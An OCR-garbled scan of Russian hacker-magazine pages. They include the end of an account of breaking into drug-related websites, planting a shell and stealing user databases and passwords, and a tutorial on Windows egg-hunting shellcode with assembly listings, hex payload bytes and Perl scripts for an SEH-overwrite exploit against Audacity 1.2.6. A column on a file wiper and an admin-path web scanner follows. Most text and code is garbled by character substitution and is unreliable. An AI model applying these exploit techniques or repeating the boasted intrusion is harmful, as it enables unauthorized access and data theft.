!пш. сц1согагсьа. соп
м- еп[ьео9еп|св. соп
9гееп1аье15ееа5 . соп
ьш. пш5ьх1 - п1
ыш.5ьау||а. пег
м. в}:гоопв}такег . пе[
5пагс 5ьор . п1
м - сгауе11ег59агаеп. соп
мароэ|ор. соп
м.хсеп7|оп.п1
(ак видишь' поддоменов у а2аг!|!5 пе| оказалось гораздо 6ольше, вем
показал |угл ,]. 1ак что, если захочешь повторить хак' это будет тебе
пищей для размь!шления.
8се остальнь:е сайть: так или иначе все равно бь:ли связань с травой'
грибами и прочими интереснь]ми шцками' так что я бь;стренько забрал
все исходники' все базь;' явки и пароли и просто ушел с сервера [ну' не
совсем просто, а извлекать коммернесиий успех из этого добра :]'
0тх0дняк
|ахе если у истоков твоего коммерчесп ого онлайн-лроекта стоят
грамотнь!е кодерь и специалисть! по безопасности, то все равно
с0ветую опасаться банального человеческого фактора. 8 данном
взломе к заливке шелла и сливу базь: пользователей привели
несколько слунайностей' которь!е, словно кусочки паззла' слохи-
лись в адскую мозаику с нарисованнь;м на ней листком марихуа-
нь:. ]ак что' админ' бди| зг
х^квР 08 /1з9/ 10
BemeP34 for Journal-plaza.net
| . тюрин Алехсей
идгг
шпАс
,**
шьную
0х0ш
1|олро6н0сти е99 ьшп[ шеллкода
с исп0ль30ванивм разноо6ра3нь!х мет0д0в о6хода механи3м0в защить! в п0следних
версиях [т[|п0ошз. 9то6ь: ть: 6ь:л пр0свещен и чувствовал се6я в сплойтош0р0ении
как рь:6а в 6орше, я п0ведаю к0е-чт0 на 6лизщю тему _ шеллк0д0писание.
А именно: внутренн0сти и технические полро6н0ши метода/шеллк0да. [,'!мя ему _
Ё99 Ёшп||п9.
чт0 тАк0Ё !60 ншшт!ш0?
[!о сути иггхантинг представляет со6ой небольшой по размеру
шеллкод, цель которого - найти в виртуальной памяти атакуемо-
го процесса боевой шеллкод и передать ему управление процес-
сом. Ёахохдение обеспечивается за счет уникальной последо-
вательности символов, стоящих перед основнь:м шеллкодом. Ёа
самом деле, Ё99 !оп{!п9 - это один из классических методов,
испол ьзуемь!х в сплойтостроении/шеллкодоп исании' йсполь-
зуется он ухе давно в тех или инь!х ситуациях' /!уншей ра6отой
по данной теме считается статья такого известного человечка
как з[аре ах от 2003 года
([:!с[.ого/со6е/з(а ре/рарегз/еоо боп1
эБе||со6е.о6|].
А зАчЁм 0н0 нАм
Ёсли просто, то иггхантинг используют в сицациях' когда основной
шеллкод не влезает в переполняемь:й 6уфер и|или неизвестно' где он
размещен в памяти. Ёсли непонятно, то поймешь на примере. А если
с подробностями, то.'.
8се мь; просматриваем бапрэк, читаем описание уязвимостей, иногда
закладь!ваем в Ро[-сплойть:. Большинство из них имеют начинку в
виде' например, запуска калькулятора или открь!тия 16Р-порта.1о хе
самое относится и ко всякого рода статьям про сплойтостроение, где
сплойть: применяются в лабораторнь:х условиях, а начинка использу-
) 066
ется только для того' чтобь; показать, что все получилось.
8 реальной хизни, как ни странно' не все так просто' и функционала
калькулятора явно не хватаетдля того' чтобь: и в систему въесться, и
обойти всякие механизмь! 6езопасности' не говоря ух об антивирусах
и файерволах, и, к тому хе, ограничениях на используемь!е символь!.
(онечно' во многом вь!ручают э{а9е6-шеллкодь:, где 6оевой шеллкод
попадает в память постепенно' по стадиям. й-м... в общем, иггхант -
это подвид з|а9е6-шеллкода.( примеру универсальнь:й шеллкод на
запуск калькулятора - всего 200 6айт (а привязаннь:й к конкретной 06
и ее адресам - всего 27 6айт'.!], на бинд - 341 6айт. Бсли до6авить
ограничения на использование \х00\х{{, что вполне о6ь:нно, полунаем
227 6айт и 368 6айт соответственно.
Ёсли предполохить, что мь! ограничень! Б!(80_циферками:534' 816.
8 о6щем, тл все понятно.
.[а и простой бинд порта - неинтересно. ( примеру шеллкод на
установкуцннеля через 0\5, о котором я писал в ру6рике [аэу Ёас}<,
весит ах за '|000 6айт' и это в нацральном виде'
9то хе нам моуг предлохить эксплойть:? 6колько моуг вместить в
себя начинки? [1о-разному. 0нень'
3то в лабораторнь!х условиях при переполнении 6уфера мь| получаем
большую' непрерь]вную' неизмененную о6ласть в стеке с полностью
контролируемь!м Ё!Р 3х... (стати' в \45Ё к кахдому сплойц указь:-
вается размер возмохной начинки и запрещеннь!е символь! в раз_
хАквР 08 /]з9/ !0
BemeP34 for Journal-plaza.net
Результат переполнения
[1ередана управления за счет перезаписи 5ЁЁ
в деле
деле "Рау[оа0 |п{огпа{!оп"' |апример, гпз08_067_пе|ар! - 400 байт'
1геп6гп!сго_зепегрго1ес1 - 300 байт' а размер сплойтов на Ас1!уе| ве-
ограничен, так как боевой шеллкод в куне' (ак видишь, далеко не все
сплойть: могу| вместить в се6я все, что хотелось 6ь:' |"]то хе делать?
8се зависит от сицации' но ин0гда нам помогает техника иггхантинга
[4'ногда - это когда основной шеллкод есть еще где-то в вирцаль-
ном адресном пространстве процесса' (ак его запихнщь цда? 8се
зависит от ['10. !апример, для !Ё 617 ' извращаясь с ява-скриптом, мь!
мохем запихнгь основной шелл в кучу или' для !гпар-сервера йегсшг
[,4езза9!п9 - последовательной отпра вкой !гпар-запросов'
н0вАя жизнь иггхАнтингА
Ёе совсем новая, но'.. хизнь ведь не стоит на месте, и семейство 06
!!!п6отмз о6завелось такими страшнь!ми словами как А5|Р' 5а{е5ЁЁ'
0ЁР' 05 и т-д. |1то это для нас значит? [1исать сплойть:, особенно
универсальнь]е' стало гораздо, гораздо труднее. Ёо' конечно, не невоз-
мохно. Раз разработники используют комплекснь!е мерь! по защите'
мь! используем комплекснь!е мерь! по взлому:).0тличнь:м примером
здесь является.!!1-зрау шеллкод под !Ё0' ЁЁ3'6 с обходом 0гР' А5|п
{ехр|о |-6б.согп/ехр|о |з/1 361,9/]' написаннь;й Алексеем 6инцовьтм. 8
этом сплойте он использовал иггхантинг в 1!!-спрее почти единственном
досцпном куске в памяти, которая исполняема. 8озмохности запихнль
в спрей основной шеллкод не 6ь:ло из-за всевозмохнь!х огранинений'
тБ0Рия
9то собой представляет иггхантинг-шеллкод и требования к нему?
8 о6щем-то, иггхантгинг-шеллкод - это шеллкод минимального разме_
ра, которь;й мохет бь:стро найти в вируальном адресном пространстве
процесса основной шеллкод и передать ему управление. /ггхантинг
находит основную начинку по последовательности символов. стоящих
перед ней. 3то так назь:ваемь:й {а9 или е99' потому и е99 [шп1!п9. [амо
.яйцо> - уникальная неть:рехбайтовая последовательность символов,
которая повторяется двахдь!' !вахдь:' чтобь: избехать коллизий' то
есть невернь!х обнарухений иггхантером. ( тому хе, что это за боевой
шеллкод' если у него или одно яйцо, или совсем их нец :].
0сновная <трудность> для иггхантера в том, что не все вирцальное
адресное пространство процесса вь!делено {*существует"). 1о есть
существуют невь!деленнь!е страниць! памяти, попь!тка о6ратиться к
которь!м вь!зовет ошибку ассезз м!о[а1!оп, и программа цпо вь!летит'
8о-вторь:х' начинка находится неизвестно где, поэтому досцпнь!е
страниць! приходится по6айтово пере6ирать' [уществует три {с по-
ловиной] основнь!х техники организации иггхантинга под семейство
!!!п6ошэ' 0бщий алгоритм у них похох: иггхантер проверяет адреса
памяти на возмохность досцпа и' при полохительном результате'
побайтово сравнивает память для поиска тега. Разница заключается в
реал иза ци и.
хАквР 08 /1з9/ 10
шт0!$Р!-Ау5тп!ш0 / штАсс[$$снБскАш0Аш0!тА[Апм
3то основная [с половиной ,]) техника. 0на заключается в использо-
вании системного вь:зова|зуз1егп са||! \г01зр|ау5:г!п9 для проверки
досцпа к странице памяти. 8ид вь:зова:
шт5у9АР] шт5тАт|15 штАР] ш[о'5р1ау5!г'19(
1ш Р1-]ш1со!Б_5тРтшс 5сг'п9
);
8оо6ще, вь!зов производится за счет прерь!вания: в ЁА!, указь:вается,
какой вь;зов произвести, а в остальнь!х регистрах - арцменть! к нему.
8 данном случае адрес, к которому мь! пь!таемся получить до-
ступ. лехит в регистре Ё0{. 0твет функции попадает в ЁА)( и равен
0хс0000005' если досцп к странице вь:зовет Ассезз !!о[а{!оп. !ля по-
байтового сравнения используется оператор зса0з, которь:й оперирует
с нашим тэгом (е99) в ЁА| и адресом из Ё0!.
0бщий вид шеллкода и его подро6ное описание:
00000000 6681сАгг0г ог 6х,0х|!|
00000005 42 1пс е6х
о000000б 52 ршз}т еёх
00000007 6А4з р!9ь ьусе +0х43
00000009 58 рор еах
0000000А со2в 'пс 0х2е
0000000с зс05 спр а1,0х5
0000000в 5А рор еах
0000000Р 74вР ]: 0х0
00000011 в890509050 поу еах,0х773030'74
00000016 8вгА поу е61,еёх
00000018 Аг зсазё
00000019 75вА ]п: 0х5
0000001в АР 3саза
000о001с 75в7 ]пз 0х5
0000001в ггЁ7 ]пр е6|
й1так' первь:е две строчки вь!равнивают [0{, под начало страниць!
памяти. Размер минимальной страниць! равен 1 000б в х86, поэтому мь:
проверяем адрес' и' если его не!' переходим к следующей странице.
[аким образом' сначала мь! меняем последние три байта Ё8[ на ЁЁР'
а потом инкриминируем' что в итоге дает нам вь!равнивание по 1000[.
[1осле, при дхампах' мь! увеличиваем значение Ё0[ либо на 1 Б[см.
строки 00000019' 0000001о]' либодо следующей страниць;' то есть на
1 000[т {см. 0000000г].
!,алее мь: кладем Ё0[ в стек, чтобь: сохранить значение, так как реги_
стрь! меняют свои значения при вь!зове функции.
6ледующие две командь! перемещают в ЁА| 0х43Б. 3тим мь: ука-
зь!ваем, что надо запустить именно функцию \10!зр[ау5|г!п9. !п1 2е
делает системнь:й вь:зов' Результат' как ухе говорилось, попадает в
ЁА[. Ёго младшие байть: мьп сравниваем с 0х5 и при полохительном
> о67
BemeP34 for Journal-plaza.net
!4щем наш шеллкод и изменения в нем
результате [то есть, ассеээ у!о[а{!оп] прь!гаем в начало шеллкода для
перехода на следующую страницу. ['1еред этим' конечно' вь]нимаем
Ё01 из стека.
,!алее идет побайтовое сравнение. 3десь 0х77303074 - это тэг (мохет
бь:ть.любой''' тл - "ш001>)' которь:й долхен находиться перед основ
нь!м шеллкодом. Ёго мь; помещаем в [А[' а в Ё0 помещаем адрес
из Б0!,. 56А50 сравнивает значение из ЁА[ с тем. что находится по
адресу в Б0!. 8 слуяае неудачи мь{ перемещаемся обратно на вторую
строчку шеллкода, где значение Ё0| увелинивается на единицу' а
остальное повторяется заново.
['1овторное использование 5[А50 требуется' что6ь: еще раз нёйтитэг
сразу после первого. ['1ри использовании оператора 5[А50 указатель
на память в Ё0! сдвигается' поэтому мь1 сразу прь!гаем в начало на_
шего основного шеллкода, используя 1гпр е6!.
[1онему хе я упомянул какую-то пол0винку в паре абзацев
вь;ше? !а это к тому' что вместо описанной з[<аре'ом функции
\10!зр|ау51г1п9 мохно использовать более позднюю придумку -
\1Ассезз[Бес[Ап6Ац6!{А[аггп. Фактически разница в коде будет лишь
в номере вь:зь:ваемой функции.
8место для \10!зр|ау51г1п9 :
00000007 6А43
рцБь ьуье +0х4з
.!олхно 6ь:ть для \1Ассезз!Бес[Ап6Ац6!1А|а гп
0000000? 6А02
рцзь ьу|е +0х2
Бонус от использования \|Ассезз!Бес[Ап6Аш6|!А[аггп в <постоянст_
ве". [мещение[0х43б]' которое используется для вь!зова системной
функции для \10!зр[ау51г!п9 вроде как меняется в последних версиях
0с.
!5вА0пгА0Ртп
3та техника использует стандартную АР!-функцию для проверки до_
ступа к вирцальной памяти.
8ид функции следующий:
воо! 1звааРеасРсг(
.]о]15 г уо1!* 1р ,
01шт_РтР цсь
);
[о есть' нам тре6уется при вь!зове функции даннь!е передавать через
сте к.
[1огика работь; этой техники аналогична предь:дущей, поэтому лишь
кратко про6ецсь по коду.
) 068
00000000 з3ов хог е5х,ебх
00000002 6681свгг0г ог ьх,0х{{г
00000007 43 |пс еБх
000000ов 6А0в рц5ь ьу|е +0хв
0000000А 53 рц5ь еьх
0000000в в80о5вв777 поу еах,0х77е75Б06
00000010 Рго0 са11 еах
00000012 85с0 |е5[ еах,еах
00000014 75вс ]лз 0х2
00000016 в890509050 поу еах, 0х71303074
0000001в ввгв поу еа',еьх
0000001о Аг зсаэ6
0000о01в 75в7 )оэ 0х1
00000020 Аг зсаз6
о0000021 75в4 1ла 0х1
00000о2з ггв7 ]пр е6!
[1ервь;е три строчки - вь!равнивание [8! под размер страниць! и
побайтовь:й проход по доступной памяти..[алее складь!ваем арт-
менть! к функции' где 0х8Б - шсб-арцмент' а Ё8)( - проверяемь!й
адрес в памяти' 8 БА[ запихиваем адрес !з8а6Реа6Р{г в виртуаль-
ной памяти процесса' 3то самь:й большой недостаток данной тех-
ники' так как полохение функции будет меняться в зависимости от
версии' сервис пака' язь!ка системь!' не говоря ух о рандомизации
пространства. Бсли значение в ЁА[ не равно нулю, то происходит
переход к следующей странице памяти' 0стальная часть кода анало-
гична предь!душей технике'
['1оследняя техника основь!вается на использовании 5ЁЁ, но я тебе о
ней не расскаху' так как и полунаемь;й иггхантер большой по размеру
[60 байт], и. главное' начиная с |Р 5Р2 для ее эксплуатации приходит-
ся обходить защиц 5[Ё'а, что делает ее в большинстве случаев не
юзабел ьн о й.
гщЁ пАРА м0мЁнт0в
14спользованием сдвоенного тэга [яйца] обусловлено еще и тем, что
иггхантинг мохет найти сам себя [тэг в своем теле] до нахохдения
тэга, стоящего перед основнь!м шеллкодом, и передать цда управле-
ние' что нам нетребуется.
[ак как мь: используем 5!А50, то нео6ходимо отслехивать' чтобь:
флаг направления [0] бь:л сброшен, иначе поиск буАет проис-
ходить в о6ратном направлении' что приведет к неправильной
работе иггхантера и вь]лету процесса. Ёо такое бь;вает очень
редко и исправляется добавлением командь! сброса флага на-
правления - [0|.
Ё99[шп|ег в действии
хАк:Р 08 /1з9/ 10
BemeP34 for Journal-plaza.net
Адреса для возврата в стек
['1оиск иггхантер производит по кругу' то есть после конца адресного
пространства процесса он переходит в начало.1аким о6разом, если
иггхантер не найдет тэг перед основнь!м шеллкодом' то процесс
конкретно зависнет в бесконечном цикле' забирая при этом 1 00о/о
производительности проца.
(стати, в |!пшх-системах иггхантинг юзается ничем не хухе' чем под
\:\7]п6оиаз' и алгоритм аналогичен лервому, разве что системнь1е вь!-
зовь! другие' да регистрь!. [1одробнее мохешь почитать в той хе статье
о,; з[аре'
пРАктич!скАя чАсть. пРимЁР.
(оли мь; ухе определились в необходимости иггхантинга как метода,
давай опро6уем его и некоторь.е его возмохности на практике.
[1ризнаюсь что пример - лабораторнь:й' но нрезвь:найно показатель_
нь:й' а главное - досцпнь:й' но об этом - после'
.[,ля опь:тов мь! воспользуемся звуковь!м редактором Аш6ас!|у' 8ерсия
с переполнением - 1.2.6' 8зять мохно ли6о с о[{епз уе-зесшг!!у.согп/
агсБ!уе/аш6ас1{у:щщ:]_26₠|е' либо с диска. !]тобь; не повторяться
- на диске есть все' о чем написано в данной статье' от [10 до всех
вариантов эксплойтогенерилки.
!,4нструментарий для п репари рова ния - 6удем пол ьзоваться !гпгпоп!|у
0еБш99ег'ом с аддоном рме{!п6а66г от соге[апс063г'а [от котором я
писал в прошлом номере]' 8зять отсюда - гпп:шп |у:пс согп/рго6ос[з-
: п': п-:6 б9'з| |гп1, либо отсюда - соге[ап бе:8800/! п0ех.рБр/зесш г!тй
оуе{ п6а60г-ру !гпгпоп!1у с]е5ш99ег оусогпгпап6/ '
!ля того' нтобь: рме{|п6а66г зара6отал' пихай его в коробку с гвоздями.
1о есть в Ру₠огпгпап6з.
[ам эксплойт будет создаваться посредством Рег['а' так нто под !!!п -
Ас|!уеРег[ с ас!!уез|а|е'согп/ас{!уерег[' [] ич ное пристрастие...
71так, к делу. [1ереполнение буфера возникает при импорте специаль-
но сформированного м!0!-файла в программе. [оздаем файл с ААААА
в 2000 байт.
# 1 ,/шзг/б!п/рег1
$]цпк = ''\х41" х 2000 ; +Буква А 2к раз
$5р1о'[ = $]шпк; #14'го1'овь1]-] с]1]]ойт
ореп(г1!Ё, ">се5с.9го'' ) ог 6!е ''саппо| ореп 111е: $ ! '';
*Фткрьтваегт фат"тл на запгтсь
рг|п[ гтьЁ $зр1о1с; ]}п!]шем ,!екс'т
с1о5е (г1!в) ; #3акрьтваегл
рг;п. ''[е5[.9го ьа5 ьееп сгеасе6 \п'';
0ткрь:ваем Аш0ас!|у в дебаггере и запускаем его (Ё9]. 14мпортируем
в звуковой редактор (['1роект-ймпорт й!0!). !.4 видим в дебаггере
х^квР 08 /1з9, 10
0писание:
ассеззу!о[а{!оп по адресу 41414141. 6мотрим - переполнение не
самое удобное: !!Р не перезаписали. адрес возврата тохе. !осту_
пен лишь Б5!, искахенно - регистр Ё6!. 6тек кусочково загахен
нашими А (см. вь;ше и нихе]. 3ато перезаписали 5Ё! [[]еш - 5ЁЁ
сБа!п]. [ нововведениями в винду защита исключений поднялась в
разь!' но для примера оно сойдет. |.1удесно.1ак, узнаем подробности'
используя плагин к рме[!п0а66п
[оздаем паттерн:
!руег|поаосг ра|[егп_сгеа[е 2000
.!линнющую строчку' полученную из окошка лога([] или из файла
гп5ра11егп'1х1 в папке пгпшп!1у 0ебш99ег'а, пихаем в переменную
$1шп[. ['1ересоздаем |е51.9го и перезапускаем эдитор в дебаггере
[с1г|+Ё2].
[мотрим итог' используя функцию 5099е51' которая ищет в памяти
первь:е 8 байт паттерна и вь!дает адреса, а такхе указь!вает, на что
мь] мохем воздействовать (регистрь:.5БЁ и т.д.]' и какое необходимо
смещен и е.
!рте||п6а6ог 5ц99е5[
йохно узнать смещение и для } онкретной насти паттерна.
( примеру, при переполнении 5ЁЁ перезаписался значением
ь741з96ь' тогда смещение узнаем так:
! рте[ 1п6а06г ра[[егп_ог{5ес 61 47з9 66
Ёе буду вдаваться в подробности описания техники переза-
писи 5Б!' но напомню основнь|е моменть{.5ЁЁ-запись в стеке
состоит из двух 4-байтнь]х адресов' 6дин иэ них - указатель на
следующий обработчик исключений [пех{5Ё|), если даннь;й не
сработает, а второй - указатель на сам код, обрабать:вающий
исключение. ['1ри возникновении исключения программа пере-
ходит по этому адресу' !о' так как нам нухно передать управле-
ние на стек, то мь! находим где_то в памяти последовательность
инструкции рор' рор, ге1' тем самь!м из6авляемся от лишних
даннь!х в стеке' появившихся после перехода на обработяик, и
возвращаемся в стек. так как пех15Ё! располохен на вершине
стека, то нам нухно перепрь!гнуть запись об обра6отнике ис-
ключения, что мь! делаем' используя конструкцию \хеб\х06\х90\
х90. ['1ервь:е два 6айта - дхамп вперед на 6 6айт 12 байта \х90
[\0Р] и 46айта адреса на 5ЁЁ), то есть' за обработник на наш
ш елл код.
Ёадеюсь, что понятное о6ъяснение получилось' если что - смотрим
рисунок,]'
!,4так, 5ЁЁ находится на ']78 байте, пех{ 5Б| - 174. |1удесно.
.[ля того' чтобь; найти необходимую последовательность <рор рор
ге1>, воспользуемся плагином еще раз',!ля этого в нем есть несколько
функций. Без параметров он ищет в памяти процесса данную последо-
вательность со всеми регистрами. [1о функции <р> - поиск проис_
ходит только для 6и6лиотек скомпилированнь:х без за{е5ЁЁ, по <р1 '
- без за{е5ЁЁ и А5!_Р, "р2" - по всем' /1тог смотри на скриншоте.
1руе'|поаоаг р
['1олуненнь:й адрес' как ть! понимаешь' 6удет у всех разнь:й, так как
зависит он от версии' пака 0[.1ак нто под6ери какой-ни6удь.
) о6?
BemeP34 for Journal-plaza.net
Раз6ор переполнения плагином пЁа06г
$зшпк =''\х41''х174; * мусор в нача!е
$]!пршехс5вн = ''\хеь\х06\х90\х90"; + дАа!'1; }]а. 6 бат1т
вперед
$9Ён = раск ("!'',0х013е5423); * пакуе:] ]е]]еход на.ор
рор гег
95ье11 = "\х42"х200"; # тут будет шелл<од, а ]:опа
буква в 200 раз
$5р1о|[ = $]шп}<. $]цпршех!9вн. $5ЁЁ. $з}те11;
|енерим, импортируем. |а оши6ке проверим полученнь й 5ЁЁ_адрес:
1. у1еш _ 5пн сьа1п;
2. лравой кнопкой на нашем адресе _ Ёо11ои: !а61ег.
.0,олхна 6ь;ть запись рор, рор' ге{. Ёсли так, то ставим на первом рор'е
брэйкпоинт - 12|либо сразу в окне 5ЁЁ сБа!п]. 5Б!{1+Ё9' нтобь; про-
долхить вь!полнение программь!'
['1рограмма долхна остановиться на рор. теперь пошагово [Ё7) до-
ходим до ге1 и возвращаемся на \ех15Бн, он хе - дхамп на 6 6айт.
,!'алее наш шеллкод - много <в>)
1еперь смотрим, хотя наш псевдошеллкод и на месте, но размер его
-_ никак не 200 байт' [ам всего 726айта. йало. Ёсли п0смотреть вь!ше
и нихе по стеки то мь! такхе найдем куски сплойта. йохно, конечно,
заморочиться и со6рать... но блихе к иггханц.
['1одставим какой-нибудь реальнь:й шеллкод в сплойт и поищем его в
памяти процесса.
0тдельно сохраняем шеллкод' перезапускаем эксплойт и ищем в
деба ггере:
# !,/шзг,/Б|т:/рег1
$з|е11=''\хеБ\х0з.....\х5а''; * какой-то шеллкод
ореп(Ё1!в, ">5ье11'') ог 0!е ''саппо|. ореп {11е: $!',;
рг!пс г]!в $в|е11;
с1о3е (г]!в) ;
]руе']поаоог сопраге с : \е99\з}те11
[1оявится окошко' где перечислень! все участки в памяти про_
цесса с нашим шеллкодом и отметкой' изменено ли в них что-то.
8 логе указь:вается' что именно изменилось.3то бь;вает полезно
для вь!числения бахнь:х символов.8 нашем сплойте получается
три варианта, о6резаннь!х с 73 символа, и один нормальнь:й. Ёо
место его меняется при перезапуске проги, и регистрь! на него не
ссь!лаются' то есть по-простому на него не перейти- [1отому ис-
пользуем иггхант-шеллкод в этих 72 байтах, которьтй и основной
код найдет' и управление ему передаст. !о6авляем:
> о7о
,[ействие сплойтов, перезапись|вающих 5ЁЁ-записи
* 9т!цо геое:] основньп{ ше|,пкодо}1
$ва9=' 1*'''*,0\хз0\х74'' ;
! 1';' *_5 1.'к хоЁ1 -1 ];: с:/ в ._:-
$е99п!п[ет = "\х66\х81\хсА\хгг\х0г\х42\х52\х6А\х02\
х5в\хс!\х2в\хзс\х05\х5А\х74\хвг\хв8,, $!а9''\х8в\
хгА\хАг\х7 5 \хвА\хАг\х7 5 \хв7 \хгг\хЁ7 " ;
+ сдв]1гаем основной шелпкод из стека
$]оп*2= " \х90 ''х50;
* к1'н41'3' '''-.
$зр1о1с = $]шп]<. $]цпршех!5вн. $5Ён.$е99ьцпсег. $]шп]<2.
$|а9. $[а9. $з}:е11;
$]оп[2 тре6уется' так как иггхантер меньше досцпного 6уфера в 73
байта' потому мь! долхнь! сдвингь основной шеллкод' чтобь: его
начальнь!е куски [тэги] не бь:ли раскидань! по памяти' и не произо-
шло лохное нахохдение. 8 о6щем-то, все. !правление передается
нерез 5ЁЁ, иггхантер ищет основной код и передает ему контроль.
[0зая даннь;й пример, мохно хорошенько проследить за поведением
хантера и увидеть то' что 6ь!ло описано в теоретинеской части данного
эпоса. Ёапример' обнулить Ё0)({\х33\х02] в начале и посмотреть на
скорость нахохдения основного шеллкода. (стати' работу иггханта
мохно увидеть по возрастанию количества .ошибок страниц" в.!ис-
петчере задач.
Ёо оставлю это на личную инициа1иву. [отя вот пара ссь!лок:
[!ример от соге[апс003г'а: соге|ап.Бе:8800/!п6ех.р[:о/201 0/01/09/ехо|о!1
лг ':п9-|ш|о':а[ рат 1-8-ш:п32 е99 Бшпт:^9;.
['1 ри мер иггханте!а в [:15Ё: о{1епз|уе-зесо г]|у'согп/гпе|азо[о:|
оп[еазбе6/ и иггхантер_шеллкод с поиском только по куне: г00!!п'
б [о9 зро| ' со гп72009/03/[ еа р - о п [у- ец!:фд!ег[!гц!
типА' 3АключЁниЁ
14ггхантинг - крлой метод' 3то точно. !:1 простой, и рабояий.
['1риведенньгй пример, конечно' не хизненнь:й' лоэтому хочу привести
пару инь!х примеров. 0ни, к сохалению' для изь!сканий недосцпнь;,
так как являются платнь!ми продуктами' зато это прибавляет кргости
методу ( примеру, <<йегсс:г \4еэза9!п9 2005" !мАР_сервер.
[4'меет переполнение буфера в обработке командь!
5|.-, в5с п ! в г[суЁ-|о | 2007 - 1 57 9)' 8 ста нда ртно м экс плойте доступ -
но 224 6айта для рау[оа6'а. 6 использованием техники иггхан-
тинга, мь! мохем предварительно послать более вместительную
команду |!5[ с основнь!м шеллкодом' а это ухе 2 (б' !,4ли \4сА|ее
еРо[!су 0гсБез{га1ог з.5.0. [1ереполнение дает '1 40 6айт, а с иг-
гхантером - нео! раничено.
8 общем-то ясно' что многие эксплойть! мохно улучшить' если приме-
нить к ним даннь:й метод.1ак нто радуемся новь!м знаниям и спешим
проверить их на практике :]. =
'
!
|
!
!
:
!
!с
х^кЁР 08 /1 з9, 1 0
BemeP34 for Journal-plaza.net
}
-ь.
т
--\ц
:!!!
ш
ц
в: \Атс' '1еш1рег.ехе "е: \6ош1оао5\
рарка_с1уа-]аа1еп'уа''
. удаление всех файлов из папки (плюс функция
удаления самих папок);
. перезагись всех файлов в :апке слунайн-:м:
значениями и последующее ихудаление;
. перезагись всех файлов в :апке слу+айь':ми
значениями в несколько циклов и последующее
их удаление.
['1ример сосгавления сгиска файлов на удале-
ние в рехиме <ех1га[[еап":
о:\уа5уа\*.ехе
с : \оосцпеп[5 апо 5ес [1.95\Асл'п\му
госцпепг5\*.*
с: \муРго95\*.ра5
₠:\по}с|а\3|ш.*
3дес ь ть: указь; ва еш ь пол н ь!е пги до п а по к и
маски файлов' которь е надо удалить с переза-
писью ихзначений.
Ё сл и -ебе ну> ь о уда п и-ь '']а '']. у' в кото ро й ест'
дру! ие па п <и ' то ₠Ё3 ч6.г]ё !. 33о ва й пу ь до вл о-
хеннь!х папок в иерархическом порядке [нто6ь;
вл0 кеннь!е пагки б-:пи в':ше].
1ак как вайпер постоянно о6новляется, ис-
правляются баги и появляются новь е функции,
совецю внимательно следить за о6новлениями
п ро гра м м ь! в топ и ке ]1 1 1 р 5 :/'| |о г|1 п1. а п ! ] с п а {. г0/
эБсшроз{'р|р?р= ] 898379'
[1 ро гра м ма : \А/еБ0!г5саппег
0 [ : \А/]п6ошз 2о00|хР 12003 5егуег/
!!з!а/2008 5егуег|7
Автор:0х00
Ра6ота сканера
Ёа онереди очередная программа для скани-
рования ве6-директорий по списку из файла.
Ёа этот раз - \А/еб0!г5саппег от мембера ухе
знакомого те6е портала у:еБха [ер пе{, 0х00.
(акть: ухе понял' прога представляетсобой
сканер файлов и директорий на удаленном
се р ве ре.
0 собе н н ости :
. 6канит все указаннь:е то6ой имена из файла
а!г[х|:
. 14спользует прокси;
. Ра6отает на основе метода ловли ошибок
веб-се рвера;
. [1о окончании работь: запись;вает результат в
файл о[з.{х{ и лог в файл |о9.1х| |формат" "стро-
ка| ответсервера''];
о [']оказ ь: вает кол ич ество п роска н и рова н н ь!х
директорий и процен ! ухе '']ройденного скани-
рова н и я;
. Ра ботает на ' \ е{ Рга гпетмо гй 2.0 и в ь: ше.
8 прилагаемь:й к пр0грамме списокдля скана
ухе включень1 некоторь!е самь!е распро-
страненнь!е локации <интереснь:х файлов".
например:
оп1п1 . рпр
асп1п1 . ь[п1
а6п|п2 . р}др
а6п|п2 . п[п]
уопе| |п. рьр
уопе| |п. ьсп1
уопес'с'.рьр
уопе[|с'.ь[п1
а6п/
а6п|п/
асг.|п/ассо0пс.рьр
а6т,|п/ассоцп[ . [|п1
а6п|о/ |п0ех. р}тр
асп|п/ |паех. ьсп1
аоп|п/ 1о9]_п . рьр
а6л|п/ 1о9|п. п|]1
а0п]п/ьопе . рьр
а6п'п/ соп| го1рапе1 . ьс п1
аоп'п/ соп[го1рапе1 . рьр
а0п!п. р|р
а6п1п. ьг'п1
аёп|п/ ср . р|р
асп|п/ ср . ь|'п1
ср. рьр
-[]юбь:е отзь:вь; и похелания автор просит
направлять прямиком в топик шебха[ер т:е|/
[о гш гп/з1-: ои:! | геа с]. р[: р ?|=520 1'
[1 рогра м ма : Агх0гаББег5!|е
0 [ : \|/! пё ошз 2о0о !хР | 2оо3 5егуег/
[!з(а/2008 5е гуег!7
Автор: Агх\^/о[!
Ёе могуудерхаться' чтобь: не представить
тебе ояередную интереснейшую программу
от командь! вебхакера - граббер сайтов
Агх0габбег5!!е'
3та прога помохеттебе разо6ратьлюбую веб-
страницу на части' т0 есть извлечь нухнь!е
тебе даннь:е.
,[,ля парсинга страниц в программе исполь-
4
ч
:
:
ш
ш
х
_т00ш
пР0гРАммь! для хАкЁР0в
[1 ро гра м ма : А1₠ Р!1е !:[!рег
0 6 :\,[|пёошз 2000 !хР ! 2о03 5егуег/
[!э!а/2008 5етует|'1
Автор: А[ех1}:е₠0ё3г
['1 редставь' ято тебе нухно полностью удалить
какую-либо информацию с компьютера. [1ринем
удалить так' чтобь; никакими техническими
средствами ее ухе нельзя бь:ло восстановить'
1акой трюк мохно проделать с п0мощью мно-
! о! ра ! ной :ерезагиси файлов спунайнь:ми
значениями' для чего и бь ли придумань! специ-
альнь!е программь; - вайперь:.0дин из самьтх
функциональнь;х вайперов сегодня представлен
на страницах ваш ей ру6рики -
7]так. А[[ Ё![е \&!рег от мембера Антината
А.ех ! Бе[063г'а предла'ает :ебедва ре> има
работь::0!! и консоль.
Функционал программь: следующий:
. 8озмохность сохранить список папок в файл [в
папкус программой];
. 8озмохнос : ь доба вл ен ия па п к.1 ' указа н ь ой в
списке папок' кнопкой..,;
. поддерхка русского язь]ка [смена язь:ков
правь!м кликом мь:шкой в форме!;
. Функция чистки логов !!!п6отмз;
. 3апуск 0(.]! из консоли с параметрами пги до
файла и колинеством циклов перезаписи:
е : Р} о9т ап г'! - е5 Атс ш_[рег9ш | . ехе
"о: \рарка_о1уа36а1еп|уа'' 15) ;
. 3апуск программь! с параметром начального
пги до папки:
> о72
о0!ер1ф|лър.и гэ_5ц-
ош36сц{оп!о@| г.!_в* 1
с]\
в₠:|] ., гщ
!ош гЁп.
о0ы.|..!!ь3
о 0.!.!с ъзя[ь ] суоь ы '*[и9
